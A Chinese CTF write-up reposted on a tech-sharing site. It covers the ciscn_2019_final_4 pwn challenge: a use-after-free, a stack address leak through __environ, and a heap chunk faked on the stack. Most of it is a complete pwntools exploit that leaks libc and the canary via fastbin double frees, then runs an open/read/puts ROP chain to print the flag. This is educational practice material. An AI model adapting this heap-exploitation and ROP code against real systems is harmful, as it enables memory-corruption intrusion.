ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

ciscn_2019_final_4(反调试+在栈上伪造堆chunk)

2022-02-21 17:31:23  阅读:304  来源: 互联网

标签:addr 0x78 p64 chunk free libc add 2019 ciscn


程序的例行检查我就不放了,这道题我学到了从libc地址获取到栈地址的新思路

来源:(22条消息) ciscn_final_4(反调试+在栈上伪造堆chunk)_seaaseesa的博客-CSDN博客

 

 程序漏洞很明显,uaf漏洞,这道题目开启了沙箱不允许,所以我们通过orw的方式获取到flag

这道题利用了俩个知识点,1在栈上面伪造chunk可以通过fastbin申请到栈上,从而可以实现栈控制 2 通过_environ获取到栈地址

这里重点讲一下 _environ ,_environ+libc_base获得的environ地址,这个地址存放着的是当前进程的环境变量,而这些环境变量通常都存放在栈里面,所以我们可以通过这个函数泄露出的环境变量加上固定偏移去获取栈地址

再讲一下这道题的一点:

因为程序是通过fork子进程去运行的,所以我们本地情况下无法动调,所以我们可以讲从call fork位置给他跳转过去,可以像ha1vk师傅博客一样进行跳转,也可以通过patch去修改,我这里推荐我使用的插件---keypatch

修改后再保存就会像我上面的图一样,程序跳转掉了fork等这些函数

完整exp:

因为我是跟着ha1vk师傅的博客再做,所以具体调试细节我就不放了

from pwn import *

#p = process('./ciscn_final_4')
p = remote('node4.buuoj.cn',28284)

elf = ELF('./ciscn_final_4')
libc = ELF('./libc-2.23.so')

def launch_gdb():
    context.terminal = ['xfce4-terminal','-x','sh','-c']
    gdb.attach(proc.pidof(p)[0])
def ls(index):
    p.sendlineafter('>> ',str(index))
def add(size,content):
    ls(1)
    p.sendlineafter('size?',str(size))
    p.sendafter('content?',content)

def free(index):
    ls(2)
    p.sendlineafter('index ?',str(index))

def show(index):
    ls(3)
    p.sendlineafter('index ?',str(index))

#launch_gdb()
fake_chunk = p64(0)+p64(0x81)
payload = b'a'*0xe8+fake_chunk
p.sendlineafter('name?',payload)

add(0x100,b'a'*0x100)#0
add(0x78,'a'*0x78)#1
add(0x78,'a'*0x78)#2
add(0x38,'a'*0x38)#3
add(0x38,'a'*0x38)#4
add(0x10,'a'*0x10)#5
add(0x81,'a'*0x81)#6

note_addr = 0x6020c0
heapsize6_addr = 0x602058

free(0)
show(0)
p.recvuntil('\n')
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x3c4b78
malloc_hook = libc_base + libc.sym['__malloc_hook']
environ_addr = libc_base + libc.sym['__environ']
print('libc_base--->'+hex(libc_base))

pop_rdi = libc_base + 0x21102
pop_rsi = libc_base + 0x202e8
pop_rdx = libc_base + 0x1b92
#add rsp,0x148 ;ret
add_rsp_148 = libc_base + 0x353aa
openat_addr = libc_base + libc.sym['openat']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

free(1)
free(2)
free(1)

add(0x78,p64(heapsize6_addr-0x8))#7
add(0x78,'a')#8
add(0x78,'b')#9

payload = b'\x00'*0x60+p64(environ_addr)
add(0x78,payload)#0

show(0)
p.recvuntil('\n')
stack_addr = u64(p.recv(6).ljust(8,b'\x00'))
fake_chunk_stack_addr = stack_addr - 0x120
print('stack_addr--->'+hex(stack_addr))
print('fake_chunk_stack_addr--->'+hex(fake_chunk_stack_addr))

free(1)
free(2)
free(1)
add(0x78,p64(fake_chunk_stack_addr))
add(0x78,'a')
add(0x78,'b')

add(0x78,b'a'*0x11)
show(14)
p.recvuntil('a'*0x11)
canary = u64(p.recv(7).rjust(8,b'\x00'))
print('canary--->'+hex(canary))

free(1)
free(2)
free(1)
add(0x78,p64(fake_chunk_stack_addr))
add(0x78,'a')
add(0x78,'a')
next_rop = fake_chunk_stack_addr + 0x88
#read(0,next,0x1000)
payload = b'a'*0x40+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(next_rop)+p64(pop_rdx)+p64(0x1000)+p64(read_addr)
add(0x78,payload)

fake_chunk_stack_addr2 = stack_addr -0x246
free(3)
free(4)
free(3)
add(0x38,p64(fake_chunk_stack_addr2))
add(0x38,'a')
add(0x38,'b')

payload = b'a'*0x6+p64(canary)+p64(0)+p64(add_rsp_148)
add(0x38,payload)

flag_addr = next_rop + 0x88
#open(0,flag,0)
rop = p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdi)+p64(0)+p64(openat_addr)
#read(fd,flag,0x30)
rop+= p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x30)+p64(read_addr)
#puts(flag_addr)
rop+= p64(pop_rdi)+p64(flag_addr)+p64(puts_addr)
rop+= b'/flag\x00'

sleep(0.5)
p.send(rop)

p.interactive()

 我倒是挺好奇的为什么这个题目的orw可以用puts去打印flag,而有的题目必须要write去打印

结束!!

 

标签:addr,0x78,p64,chunk,free,libc,add,2019,ciscn
来源: https://www.cnblogs.com/zhuangzhouQAQ/p/15919795.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有